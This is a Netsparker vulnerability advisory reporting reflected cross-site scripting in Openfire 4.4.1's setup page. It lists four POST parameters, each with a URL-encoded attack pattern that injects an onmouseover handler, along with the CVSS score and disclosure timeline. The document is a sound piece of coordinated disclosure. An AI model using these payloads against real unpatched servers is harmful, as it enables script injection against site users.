NS-19-015 | Openfire vulnerable to Reflected Cross-site Scripting

Information
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Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in Openfire 4.4.1
Affected Software: Openfire
Affected Versions: 4.4.1
Vendor Homepage: https://www.igniterealtime.org/
Vulnerability Type: Cross-site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Netsparker Advisory Reference: NS-19-015

Technical Details
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URL : http://{DOMAIN}/setup/setup-datasource-standard.jsp
Parameter Name : driver
Parameter Type : POST
Attack Pattern : x%22+onmouseover%3dnetsparker(0x003276)+x%3d%22

URL : http://{DOMAIN}/setup/setup-datasource-standard.jsp
Parameter Name : password
Parameter Type : POST
Attack Pattern : x%22+onmouseover%3dnetsparker(0x003403)+x%3d%22

URL : http://{DOMAIN}/setup/setup-datasource-standard.jsp
Parameter Name : serverURL
Parameter Type : POST
Attack Pattern : x%22+onmouseover%3dnetsparker(0x0033A0)+x%3d%22

URL : http://{DOMAIN}/setup/setup-datasource-standard.jsp
Parameter Name : username
Parameter Type : POST
Attack Pattern : x%22+onmouseover%3dnetsparker(0x003213)+x%3d%22

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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20th August 2019 - First Contact
25th September 2019 - Vendor Fixed
11th October 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Huriye Özdemir while testing the Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.